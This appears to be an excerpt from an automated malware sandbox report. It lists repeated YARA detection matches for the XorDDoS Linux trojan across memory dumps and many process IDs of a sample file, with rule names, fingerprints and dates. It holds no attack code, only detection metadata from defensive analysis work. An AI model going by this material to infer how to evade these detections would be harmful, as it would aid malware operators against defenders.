Source: 6357.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6357.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6455.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6455.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6455.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6339.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6339.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6339.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6275.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6275.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6275.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6228.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6228.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6228.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6333.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6333.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6333.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6507.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6507.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6507.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6389.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6389.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6389.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6316.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6316.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6316.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6265.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6265.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6265.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6446.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6446.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6446.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6353.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6353.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6353.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6267.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6267.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6267.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6515.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6515.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6515.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6224, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6226, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6227, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6228, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6257, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6259, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6262, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6265, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6267, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6275, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6278, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6282, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6285, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6288, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6294, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6296, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6299, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6302, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6304, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6311, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6314, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6316, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6319, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6321, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6328, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6331, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6333, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6336, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6339, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6345, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6348, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6351, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: Process Memory Space: Di1p3oLnDb.elf PID: 6353, type: MEMORYSTR	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
